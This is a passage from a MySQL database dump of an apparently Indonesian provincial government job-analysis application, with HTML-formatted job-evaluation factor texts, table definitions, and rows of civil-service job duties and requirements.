style=\"margin-left:0cm; margin-right:0cm; text-align:justify\"><span style=\"font-size:16pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Tentukan kelas tertinggi pekerjaan dasar jabatan fungsional yang diarahkan (yang berorientasi pada misi organisasi) yang merupakan 25% atau lebih beban kerja organisasi.</span></span></span></span></p>\r\n\r\n<p style=\"margin-left:0cm; margin-right:0cm; text-align:justify\"><span style=\"font-size:16pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><em><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Penyelia &nbsp;tingkat dua </span></span></em></span></span></p>\r\n\r\n<p><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Gunakan metode yang diuraikan di atas untuk penyelia tingkat pertama. Bagi sebagian besar penyelia tingkat dua, kelas pekerjaan dasar yang dicapai dengan metode tersebut merupakan kelas yang sesuai. </span></span></p>', 1, '2018-10-23 20:47:27', '2018-10-23 20:47:27'),
(15, 'FAKTOR 1, PENGETAHUAN YANG DIBUTUHKAN JABATAN', '<p><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Faktor ini mengukur sifat dan tingkat informasi atau fakta yang harus diketahui pegawai untuk melaksanakan pekerjaan, antara lain: langkah-langkah, prosedur, praktek, peraturan, kebijakan, teori, prinsip, dan konsep, dan sifat dan tingkat keahlian yang dibutuhkan untuk menerapkan pengetahuan tersebut.</span></span></p>', 0, '2018-10-23 23:55:01', '2018-10-23 23:55:01'),
(16, 'FAKTOR 2, PENGAWASAN PENYELIA', '<p style=\"margin-left:0cm; margin-right:0cm; text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Faktor ini mengukur sifat dan tingkat pengawasan penyelia secara langsung atau tidak langsung, tanggungjawab pegawai, dan evaluasi hasil pekerjaan. </span></span></span></span></p>\r\n\r\n<p style=\"margin-left:0cm; margin-right:0cm; text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Pengawasan dilakukan dengan cara pemberian tugas dan instruksi pada pegawai, disusunnya prioritas dan batas waktu, dan ditetapkannya tujuan dan batasannya. </span></span></span></span></p>\r\n\r\n<p style=\"margin-left:0cm; margin-right:0cm; text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Tanggungjawab pegawai tergantung sampai tingkat mana pegawai mampu mengembangkan urutan dan waktu berbagai macam pekerjaan, memodifikasi atau merekomendasikan modifikasi instruksi, dan berpartisipasi dalam penetapan prioritas dan penetapan tujuan. </span></span></span></span></p>\r\n\r\n<p><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Tingkat evaluasi hasil pekerjaan tergantung pada sifat dan luasnya peninjauan, antara lain, tinjauan singkat dan terperinci dari setiap fase tugas; tinjauan terperinci dari tugas yang telah selesai; tinjauan tertentu pada pekerjaan yang telah selesai untuk keakuratan, atau tinjauan hanya untuk kesesuaian terhadap kebijakan.</span></span></p>', 0, '2018-10-23 23:55:28', '2018-10-23 23:55:28'),
(17, 'FAKTOR 3, PEDOMAN', '<h2 style=\"margin-left:0cm; margin-right:0cm; text-align:justify\"><span style=\"font-size:16pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Faktor ini mencakup sifat pedoman dan pertimbangan yang dibutuhkan untuk menerapkan pedoman tersebut. Sebagai contoh pedoman adalah panduan kerja, prosedur dan kebijakan, praktek tradisional, dan bahan referensi seperti kamus, jenis panduan, dan buku panduan teknik.</span></span></span></span></h2>\r\n\r\n<h2 style=\"margin-left:0cm; margin-right:0cm; text-align:justify\"><span style=\"font-size:16pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Suatu pekerjaan dalam bidang pekerjaan yang berbeda, bervariasi dalam hal spesifikasi, penerapan, dan ketersediaan pedoman. Oleh karena itu rintangan&nbsp; dan pertimbangan yang dibutuhkan pegawai juga bervariasi. Contohnya, keberadaan instruksi, prosedur, dan kebijakan tertentu dapat membatasi peluang pegawai membuat atau merekomendasikan keputusan atau tindakan. Tetapi dengan ketidakadaan prosedur atau dengan penetapan tujuan secara luas, pegawai dapat menggunakan pertimbangan yang luas dalam penelitian literatur dan pengembangan metode baru.</span></span></span></span></h2>\r\n\r\n<p><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Pedoman tidak sama dengan Faktor 1: Pengetahuan yang dibutuhkan jabatan. Pedoman memberikan referensi data atau menentukan hambatan tertentu dalam penggunaan pengetahuan. Sebagai contoh, dalam bidang teknologi medis, untuk diagnosa tertentu terdapat tiga atau empat jenis test yang dinyatakan dalam buku panduan. Ahli teknologi medis diharapkan memahami tes tersebut. Tetapi dalam suatu laboratorium, kebijakan yang diberikan hanya menggunakan satu dari test tersebut, atau kebijakan menyebutkan secara spesifik kondisi persyaratan pemakaian salah satu dari test tersebut.</span></span></p>', 0, '2018-10-23 23:56:30', '2018-10-23 23:56:30'),
(18, 'FAKTOR 4, KOMPLEKSITAS', '<p style=\"margin-left:0cm; margin-right:0cm; text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Faktor ini mencakup: </span></span></span></span></p>\r\n\r\n<ol>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">sifat, jumlah, variasi, dan seluk-beluk tugas, langkah, proses, atau metode, dalam pekerjaan yang dilaksanakan; </span></span></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">kesulitan mengidentifikasi apa yang harus dilakukan; dan </span></span></span></span></li>\r\n</ol>\r\n\r\n<p><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">kesulitan dasar pelaksanaan pekerjaan.</span></span></p>', 0, '2018-10-23 23:56:55', '2018-10-23 23:56:55'),
(19, 'FAKTOR 5, RUANG LINGKUP DAN DAMPAK', '<p style=\"margin-left:0cm; margin-right:0cm; text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Faktor ini mencakup hubungan antara cakupan pekerjaan, antara lain: tujuan, keluasan, dan kedalaman tugas, dan dampak dari hasil kerja atau jasa di dalam dan di luar organisasi.</span></span></span></span></p>\r\n\r\n<p style=\"margin-left:0cm; margin-right:0cm; text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Dampak mengukur apakah hasil pekerjaan memfasilitasi pekerjaan orang lain, pelayanan tepat waktu, atau berdampak pada penelitian. </span></span></span></span></p>\r\n\r\n<p><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Konsep dampak dan r</span></span><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">uang lingkup pekerjaan akan memberikan gambaran menyeluruh dalam melakukan evaluasi secara konsisten. Hanya pekerjaan yang mempunyai dampak yang dipertimbangkan.</span></span></p>', 0, '2018-10-23 23:57:23', '2018-10-23 23:57:23'),
(20, 'FAKTOR 6, HUBUNGAN PERSONAL', '<p style=\"margin-left:0cm; margin-right:0cm; text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Faktor ini meliputi pertemuan langsung, melalui telepon dan dialog melalui radio dengan orang yang tidak berada dalam rantai penyeliaan. </span></span></span></span></p>\r\n\r\n<p style=\"margin-left:0cm; margin-right:0cm; text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Tingkat faktor ini didasarkan pada apa yang dibutuhkan untuk berhubungan, kesulitan komunikasi dengan mereka yang dihubungi, dan penentuan dimana hubungan diadakan (antara lain, tingkat pegawai dan mereka yang dihubungi mengetahui peran dan wewenang masing-masing).</span></span></span></span></p>\r\n\r\n<p><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Hubungan antara Faktor 6 dan 7 menghendaki hubungan yang sama yang akan dievaluasi. Gunakan hubungan personal faktor 6 untuk memilih tingkat Faktor 7 tujuan hubungan.</span></span></p>', 0, '2018-10-23 23:57:49', '2018-10-23 23:57:49'),
(21, 'FAKTOR 7, TUJUAN HUBUNGAN', '<p style=\"margin-left:0cm; margin-right:0cm; text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Tujuan hubungan mencakup pertukaran informasi, isu yang signifikan atau kontroversial dan berbeda pandangan, tujuan, dan sasaran. </span></span></span></span></p>\r\n\r\n<p><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Hubungan personal yang dibuat sebagai dasar yang dipilih untuk faktor ini harus sama dengan hubungan personal faktor 6.</span></span></p>', 0, '2018-10-23 23:58:10', '2018-10-23 23:58:10'),
(22, 'FAKTOR 8, PERSYARATAN FISIK', '<p><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Faktor ini mencakup persyaratan dan tuntutan fisik yang diperlukan pegawai. Hal ini termasuk kemampuan dan karakteristik fisik, al; syarat ketangkasan dan kegesitan, dan penggunaan tenaga fisik yang perlu dalam pekerjaan tersebut, al; mendaki, mengangkat, mendorong, menyeimbangkan, membungkuk, berlutut, meringkuk, merangkak, dan menggapai. Untuk hal-hal tertentu, frekuensi dan intensitas penggunaan fisik harus dipertimbangkan, antara lain; pekerjaan yang membutuhkan berdiri lebih lama akan membutuhkan tenaga fisik yang lebih besar dari pada suatu pekerjaan yang membutuhkan berdiri hanya sebentar.</span></span></p>', 0, '2018-10-23 23:58:37', '2018-10-23 23:58:37'),
(23, 'FAKTOR 9, LINGKUNGAN PEKERJAAN', '<p><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Faktor ini mempertimbangkan resiko dan ketidaknyamanan dalam lingkungan pekerjaan, atau sifat dari pekerjaan dan peraturan keamanan yang dibutuhkan. Walaupun penggunaan alat pengaman dapat menghilangkan bahaya atau ketidaknyamanan, situasi tertentu membutuhkan persyaratan tambahan terhadap pegawai&nbsp; dalam melaksanakan peraturan dan teknik keamanan.</span></span></p>', 0, '2018-10-23 23:58:58', '2018-10-23 23:58:58');

-- --------------------------------------------------------

--
-- Table structure for table `job_analysis`
--

CREATE TABLE `job_analysis` (
  `analysis_id` int(10) UNSIGNED NOT NULL,
  `position_id` int(10) UNSIGNED NOT NULL,
  `organization_id` int(10) UNSIGNED NOT NULL,
  `agency_id` int(10) UNSIGNED NOT NULL,
  `analysis_description` text COLLATE utf8mb4_unicode_ci DEFAULT NULL,
  `created_at` timestamp NULL DEFAULT NULL,
  `updated_at` timestamp NULL DEFAULT NULL,
  `job_title` text COLLATE utf8mb4_unicode_ci DEFAULT NULL,
  `risk_of_danger` text COLLATE utf8mb4_unicode_ci DEFAULT NULL,
  `job_requirement` text COLLATE utf8mb4_unicode_ci DEFAULT NULL,
  `work_talent` varchar(255) COLLATE utf8mb4_unicode_ci DEFAULT NULL,
  `work_temprament` varchar(255) COLLATE utf8mb4_unicode_ci DEFAULT NULL,
  `work_interest` varchar(255) COLLATE utf8mb4_unicode_ci DEFAULT NULL,
  `physical_effort` varchar(255) COLLATE utf8mb4_unicode_ci DEFAULT NULL,
  `job_function` varchar(255) COLLATE utf8mb4_unicode_ci DEFAULT NULL,
  `is_approve` int(11) DEFAULT 1 COMMENT '0: Non , 1: Approve',
  `image_office_in` text COLLATE utf8mb4_unicode_ci DEFAULT NULL,
  `image_office_out` text COLLATE utf8mb4_unicode_ci DEFAULT NULL
) ENGINE=MyISAM DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;

--
-- Dumping data for table `job_analysis`
--

INSERT INTO `job_analysis` (`analysis_id`, `position_id`, `organization_id`, `agency_id`, `analysis_description`, `created_at`, `updated_at`, `job_title`, `risk_of_danger`, `job_requirement`, `work_talent`, `work_temprament`, `work_interest`, `physical_effort`, `job_function`, `is_approve`, `image_office_in`, `image_office_out`) VALUES
(3, 10, 5, 6, NULL, '2018-10-29 23:24:37', '2018-10-29 23:24:37', 'Menyelenggarakan perumusan kebijakan umum, pengkoordinasian administratif terhadap pelaksanaan tugas Perangkat Daerah serta pelayanan administratif bidang organisasi, meliputi kelembagaan, ketatalaksanaan serta kinerja organisasi dan reformasi birokrasi yang menjadi kewenangan Provinsi, menyelenggarakan tugas dekonsentrasi serta melaksanakan tugas pembantuan sesuai bidang tugasnya berdasarkan Ketentuan Peraturan Perundang-undangan.', '<table border=\"1\" cellspacing=\"0\" class=\"Table\" style=\"border-collapse:collapse; border:solid windowtext 1.0pt; margin-left:32.75pt; width:419.2pt\">\r\n	<tbody>\r\n		<tr>\r\n			<td style=\"background-color:silver; height:9.55pt; width:26.15pt\">\r\n			<p style=\"margin-left:0cm; margin-right:0cm; text-align:center\"><span style=\"font-size:11pt\"><span style=\"font-family:Calibri,sans-serif\"><span style=\"font-size:12.0pt\">No</span></span></span></p>\r\n			</td>\r\n			<td style=\"background-color:silver; height:9.55pt; width:152.05pt\">\r\n			<p style=\"margin-left:0cm; margin-right:0cm; text-align:center\"><span style=\"font-size:11pt\"><span style=\"font-family:Calibri,sans-serif\"><span style=\"font-size:12.0pt\">Fisik / Mental</span></span></span></p>\r\n			</td>\r\n			<td style=\"background-color:silver; height:9.55pt; width:241.0pt\">\r\n			<p style=\"margin-left:0cm; margin-right:0cm; text-align:center\"><span style=\"font-size:11pt\"><span style=\"font-family:Calibri,sans-serif\"><span style=\"font-size:12.0pt\">Penyebab</span></span></span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"height:42.4pt; vertical-align:top; width:26.15pt\">\r\n			<p style=\"margin-left:0cm; margin-right:0cm; text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"height:42.4pt; vertical-align:top; width:152.05pt\">\r\n			<p style=\"margin-left:0cm; margin-right:0cm; text-align:justify\"><span style=\"font-size:11pt\"><span style=\"font-family:Calibri,sans-serif\"><span style=\"font-size:12.0pt\">Tidak ada</span></span></span></p>\r\n			</td>\r\n			<td style=\"height:42.4pt; vertical-align:top; width:241.0pt\">\r\n			<p style=\"margin-left:0cm; margin-right:0cm; text-align:justify\">&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n	</tbody>\r\n</table>', 'a. 	Pangkat/Gol.Ruang	:	IVb / Pembina Tk.I\r\nb.	Pendidikan	:	S1 Administrasi Pemerintahan/Manajemen\r\nc.	Kursus/Diklat		\r\n	1)	Penjenjangan	:	a.	Diklat Pra Jabatan\r\nb.	Diklat Pim IV\r\nc.	Diklat Pim III\r\nd.	Diklat Pim II\r\n	2)	Teknis	:	a.	Diklat Analisis Jabatan dan Analisis Beban Kerja\r\nd.	Pengalaman kerja	:	memiliki pengalaman dalam Jabatan administrator atau JF jenjang ahli madya sesuai dengan bidang tugas Jabatan yang akan \r\n                                                diduduki paling singkat 2 (dua) tahun;\r\ne.	Pengetahuan kerja	:	memiliki pengetahuan di bidang keorganisasian, meliputi kelembagaan, ketatalaksanaan, kinerja organisasi dan reformasi birokrasi\r\nf.	Keterampilan kerja	:	Keterampilan mengoperasikan komputer', '1,2,3,6', '1,2,3,4,5,6', '2,4,6,7,10', '3,18,19,20', '1,2,3,7,8,13,16', 1, NULL, NULL),
(6, 73, 49, 6, NULL, '2018-12-11 18:03:09', '2018-12-16 21:54:06', 'Memimpin, membina, mengatur, mengkoordinasikan dan mengendalikan tugas Badan serta menetapkan kebijakan  operasional di bidang Kesatuan Bangsa dan Politik.', NULL, NULL, '', '', '', '', '', 1, NULL, NULL),
(13, 48, 23, 6, NULL, '2018-12-11 18:58:43', '2019-01-13 08:48:06', '1', NULL, NULL, '', '', '', '', '', 1, NULL, NULL),
(8, 80, 49, 6, NULL, '2018-12-11 18:14:27', '2018-12-11 18:14:27', 'Merencanakan program, membagi tugas, memberi petunjuk, memantau dan mengevaluasi pelaksanaan tugas bawahan, mengkaji, membuat telaahan staf   serta mengendalikan pelaksanaan tugas Sekretariat, meliputi penyusunan perencanaan dan  program, administrasi keuangan,  kepegawaian dan umum.', NULL, NULL, '', '', '', '', '', 0, NULL, NULL),
(24, 67, 42, 6, NULL, '2018-12-26 06:19:17', '2018-12-26 06:19:17', 'menyelenggarakan pengkajian kebijakan teknis bidang perencanaan pembangunan daerah, mengkoordinasikan, membina, mengendaliankan, memfasilitasi dan menyelenggarakan urusan pemerintahan daerah provinsi dibidang perencanaan pembangunan daerah, meliputi aspek fisik, ekonomi, sosial dan budaya, pemerintahan, pendanaan pembangunan, pengendalian dan evaluasi, mengkoordinasikan dan mensinkronisasikan perencanaan pembangunan daerah kabupaten dan daerah kota', NULL, NULL, '', '', '', '', '', 0, NULL, NULL),
(14, 75, 51, 6, NULL, '2018-12-11 19:38:33', '2018-12-11 19:38:33', 'Memimpin, mengkoordinasikan, memfasilitasi, monitoring, membina dan evaluasi penyelenggaraan pemerintahan dan pembangunan di wilayah kerjanya.', NULL, NULL, '', '', '', '', '', 0, NULL, NULL),
(15, 35, 10, 6, NULL, '2018-12-11 19:46:35', '2018-12-11 19:46:35', 'Memimpin dan menetapkan perumusan program kerja dan bahankebijakan umum, pengkoordinasian administratif terhadap pelaksanaan tugas Perangkat Daerah serta pelayanan administratif bidang produksi dan industri, meliputi pertanian, lingkungan hidup, kehutanan dan perkebunan, industri, perdagangan dan pariwisata yang menjadi kewenangan Provinsi, sesuai ketentuan yang berlaku agar dapat dipergunakan sesuai dengan kegiatan yang telah dilaksanakan untuk pelaporan pelaksanaan kegiatan.', NULL, NULL, '', '', '', '', '', 0, NULL, NULL),
(16, 70, 46, 6, NULL, '2018-12-11 19:54:27', '2018-12-11 19:54:27', 'Memimpin, mengkoordinasikan, membina, mengendalikan, memfasilitasi dan menyelenggarakan fungsi penunjang urusan pemerintahan bidang keuangan, aspek pengelolaan keuangan dan aset Daerah, yang menjadi kewenangan Provinsi, melaksanakan tugas dekonsentrasi sampai dengan dibentuk Sekretariat Gubernur sebagai Wakil Pemerintah Pusat dan melaksanakan tugas pembantuan sesuai bidang tugasnya.', '<p>1. Tekanan Mental</p><p>2. Kelelahan dalam Fisik</p>', 'Pangkat/Gol : Pembina/IV(a)', '1,6', '1,2,3,5,6,8,10', '10', '1,3,18,19,20', '1,2,3,8,9,14', 0, NULL, NULL),
(12, 34, 9, 6, NULL, '2018-12-11 18:58:11', '2018-12-11 18:58:11', 'Menyelenggarakan perumusan bahan kebijakan umum, melakukan koordinasi, pembinaan dan pengendalian, pengembangan kerjasama Pemerintah Provinsi bidang Penanaman Modal dan PTSP, Investasi Pemerintah Daerah, Perencanaan, Ekonomi Makro, Ketatausahaan, Infrastruktur, BUMD dan Koperasi Usaha Kecil sesuai ketentuan yang berlaku dan arahan pimpinan', NULL, NULL, '', '', '', '', '3', 0, NULL, NULL),
(17, 61, 36, 6, NULL, '2018-12-11 20:02:03', '2018-12-11 20:02:03', 'Kepala Dinas mempunyai tugas pokok merumuskan, menetapkan\r\nmemimpin, mengkoordinasikan dan mengendalikan pelaksanaan\r\nkegiatan tugas pokok Dinas dan UPTD', '<p>tidak ada&nbsp;</p>', '<p>sarjana pertanian, atau jurusan yang relevan</p>', '1', '1', '4', '2', '2', 0, NULL, NULL),
(18, 62, 37, 6, NULL, '2018-12-11 20:17:01', '2019-01-31 07:04:18', '<p>Memimpin, mengkoordinasikan, membina, mengendalikan, dan menyelenggarakan urusan pemerintahan di bidang pertanian sub urusan perkebunan, meliputi produksi perkebunan, sumber daya perkebunan, pengernbangan dan perlindungan perkebunan serta pengolahan, pemasalan dan usaha perkebunan yang menjadi kewenangan provinsi, melaksanakan tugas dekonsentrasi dan melaksanakan tugas pembantuan sesuai bidang tugasnya</p>', NULL, NULL, '', '', '', '', '', 0, NULL, NULL),
(22, 129, 57, 6, NULL, '2018-12-11 20:58:30', '2018-12-11 20:58:30', 'memimpin, mengkoordinasikan, membina, mengendalikan, memfasilitasi dan menyelenggarakan fungsi penunjang pelaksanan urusan  pemerintahan yang menjadi kewenangan Daerah Provinsi di bidang Pengembangan Sumber Daya Manusia', NULL, NULL, '', '', '', '', '', 0, NULL, NULL),
(20, 46, 21, 6, NULL, '2018-12-11 20:27:44', '2018-12-11 20:27:44', 'Memimpin, mengkoordinasikan, membina, mengendalikan, dan menyelenggarakan urusan pemerintahan bidang ketenteraman, ketertiban umum, dan perlindungan masyarakat, meliputi ketenteraman dan ketertiban umum, penegakan Peraturan Daerah dan Peraturan Gubernur, pembinaan masyarakat dan aparatur serta perlindungan masyarakat, yang menjadi kewenangan Provinsi, melaksanakan tugas dekonsentrasi sampai dengan dibentuk Sekretariat Gubernur sebagai Wakil Pemerintah Pusat serta melaksanakan tugas pembantuan sesuai bidang tugasnya.', '<p>1. Tekanan Mental</p><p>2. Kelelahan dalam fisik</p>', '<p>Pangkat/Gol : Pembina/IV(a)</p>', '5', '6', '4', '2', '1,3', 0, NULL, NULL);

-- --------------------------------------------------------

--
-- Table structure for table `job_descriptions`
--

CREATE TABLE `job_descriptions` (
  `id` int(10) UNSIGNED NOT NULL,
  `job_analysis_id` int(10) UNSIGNED NOT NULL,
  `title` varchar(255) COLLATE utf8mb4_unicode_ci DEFAULT NULL,
  `description` text COLLATE utf8mb4_unicode_ci DEFAULT NULL,
  `created_at` timestamp NULL DEFAULT NULL,
  `updated_at` timestamp NULL DEFAULT NULL
) ENGINE=MyISAM DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;

--
-- Dumping data for table `job_descriptions`
--

INSERT INTO `job_descriptions` (`id`, `job_analysis_id`, `title`, `description`, `created_at`, `updated_at`) VALUES
(1, 1, 'ABCDFGH', '1. ABC\r\n2.EFG', '2018-09-16 22:30:22', '2018-09-16 22:30:22'),
(2, 3, 'Menyelenggarakan koordinasi dan pelayanan administratif bidang organisasi meliputi kelembagaan, ketatalaksanaan, kinerja organisasi dan reformasi birokrasi', '1)	Menyelaraskan tugas pokok dan fungsi pada masing-masing bagian di lingkungan Biro Organisasi\r\n2)	Mengidentifikasi program kegiatan pada masing-masing bagian di lingkungan Biro Organisasi\r\n3)	Menyelenggarakan koordinasi kepada masing-masing bagian di lingkungan Biro Organisasi', '2018-10-29 23:24:37', '2018-10-29 23:24:37'),
(3, 3, 'Menyelenggarakan pengelolaan dan pengembangan kelembagaan', '1)	Mengidentifikasi peraturan perundang-undangan yang menyangkut pengelolaan dan pengembangan kelembagaan;\r\n2)	Berkoordiansi dengan bagian kelembagaan;\r\n3)	Menetapkan sasaran kegiatan penyelenggaraan pengelolaan dan pengembangan kelembagaan;', '2018-10-29 23:24:37', '2018-10-29 23:24:37'),
(4, 3, 'Menyelenggarakan pengelolaan dan pengembangan ketatalaksanaan', '1)	Mengidentifikasi peraturan perundang-undangan yang menyangkut pengelolaan dan pengembangan ketatalaksanaan;\r\n2)	Berkoordiansi dengan bagian ketatalaksanaan;\r\n3)	Menetapkan sasaran kegiatan penyelenggaraan pengelolaan dan pengembangan ketatalaksanaan', '2018-10-29 23:24:37', '2018-10-29 23:24:37'),
(5, 3, 'Menyelenggarakan pengelolaan dan pengembangan kinerja organisasi dan reformasi birokrasi', '1)	Mengidentifikasi peraturan perundang-undangan yang menyangkut pengelolaan dan pengembangan pengembangan kinerja organisasi dan reformasi birokrasi;\r\n2)	Berkoordiansi dengan bagian pengembangan kinerja organisasi dan reformasi birokrasi;\r\n3)	Menetapkan sasaran kegiatan penyelenggaraan pengelolaan dan pengembangan pengembangan kinerja organisasi dan reformasi birokrasi', '2018-10-29 23:24:37', '2018-10-29 23:24:37'),
(6, 3, 'Menyelenggarakan pembinaan dan pengendalian bidang organisasi, yang menjadi kewenangan Daerah Provinsi', '1)	Mengidentifikasi peraturan perundang-undangan yang menyangkut pembinaan dan pengendalian bidang organisasi;\r\n2)	Berkoordiansi dengan bagian – bagian di lingkungan Biro Organisasi;\r\n3)	Menetapkan sasaran kegiatan penyelenggaraan pembinaan dan pengendalian bidang organisasi', '2018-10-29 23:24:37', '2018-10-29 23:24:37'),
(7, 3, 'Menyelenggarakan fasilitasi Pelayanan Informasi Publik (PIP)', '1)	Menerima permohonan informasi publik di bidang organisasi\r\n2)	Berkoordinasi dengan setiap bagian di lingkungan Biro Organisasi terkait informasi yang dibutuhkan\r\n3)	Menetapkan informasi yang akan disampaikan', '2018-10-29 23:24:37', '2018-10-29 23:24:37'),
(8, 3, 'Menyelenggarakan pengkajian bahan dan pelaksanaan Sistem Pengendalian Internal Pemerintahan (SPIP)', '1)	Menerima permohonan data di bidang organisasi\r\n2)	Berkoordinasi dengan setiap bagian di lingkungan Biro Organisasi terkait informasi yang dibutuhkan\r\n3)	Melaksanakan kajian dan menetapkan data di bidang organisasi untuk disampaikan melalui Sistem Pengendalian Internal Pemerintahan (SPIP)', '2018-10-29 23:24:37', '2018-10-29 23:24:37'),
(9, 3, 'Menyelenggarakan koordinasi dan fasilitasi tindak lanjut Laporan Hasil Pemeriksaan lingkup Biro', '1)	Menerima Laporan Hasil Pemeriksaan lingkup Biro Organisasi\r\n2)	Melaksanakan koordinasi dengan Bagian di Lingkungan Biro Organisasi\r\n3)	Menetapkan arah tindak lanjut Laporan Hasil Pemeriksaan lingkup Biro Organisasi', '2018-10-29 23:24:37', '2018-10-29 23:24:37'),
(10, 4, 'a. Menyelenggarakan koordinasi dan pelayanan administratif bidang organisasi meliputi kelembagaan, ketatalaksanaan, kinerja organisasi dan reformasi birokrasi;', '1)	Menyelaraskan tugas pokok dan fungsi pada masing-masing bagian di lingkungan Biro Organisasi\r\n2)	Mengidentifikasi program kegiatan pada masing-masing bagian di lingkungan Biro Organisasi\r\n3)	Menyelenggarakan koordinasi kepada masing-masing bagian di lingkungan Biro Organisasi', '2018-12-11 08:04:04', '2018-12-11 08:04:04'),
(11, 4, 'b. Menyelenggarakan pengelolaan dan pengembangan kelembagaan;', '1)	Mengidentifikasi peraturan perundang-undangan yang menyangkut pengelolaan dan pengembangan kelembagaan;\r\n2)	Berkoordiansi dengan bagian kelembagaan;\r\n3)	Menetapkan sasaran kegiatan penyelenggaraan pengelolaan dan pengembangan kelembagaan;', '2018-12-11 08:04:04', '2018-12-11 08:04:04'),
(12, 4, 'c. Menyelenggarakan pengelolaan dan pengembangan ketatalaksanaan;', '1)	Mengidentifikasi peraturan perundang-undangan yang menyangkut pengelolaan dan pengembangan ketatalaksanaan;\r\n2)	Berkoordiansi dengan bagian ketatalaksanaan;\r\n3)	Menetapkan sasaran kegiatan penyelenggaraan pengelolaan dan pengembangan ketatalaksanaan;', '2018-12-11 08:04:04', '2018-12-11 08:04:04'),
(13, 4, 'd. Menyelenggarakan pengelolaan dan pengembangan kinerja organisasi dan reformasi birokrasi;', '1)	Mengidentifikasi peraturan perundang-undangan yang menyangkut pengelolaan dan pengembangan pengembangan kinerja organisasi dan reformasi birokrasi;\r\n2)	Berkoordiansi dengan bagian pengembangan kinerja organisasi dan reformasi birokrasi;\r\n3)	Menetapkan sasaran kegiatan penyelenggaraan pengelolaan dan pengembangan pengembangan kinerja organisasi dan reformasi birokrasi;', '2018-12-11 08:04:04', '2018-12-11 08:04:04'),
(14, 4, 'e. Menyelenggarakan pembinaan dan pengendalian bidang organisasi, yang menjadi kewenangan Daerah Provinsi;', '1)	Mengidentifikasi peraturan perundang-undangan yang menyangkut pembinaan dan pengendalian bidang organisasi;\r\n2)	Berkoordiansi dengan bagian – bagian di lingkungan Biro Organisasi;\r\n3)	Menetapkan sasaran kegiatan penyelenggaraan pembinaan dan pengendalian bidang organisasi;', '2018-12-11 08:04:04', '2018-12-11 08:04:04'),
(15, 4, 'f. Menyelenggarakan fasilitasi Pelayanan Informasi Publik (PIP);', '1)	Menerima permohonan informasi publik di bidang organisasi\r\n2)	Berkoordinasi dengan setiap bagian di lingkungan Biro Organisasi terkait informasi yang dibutuhkan\r\n3)	Menetapkan informasi yang akan disampaikan', '2018-12-11 08:04:04', '2018-12-11 08:04:04'),
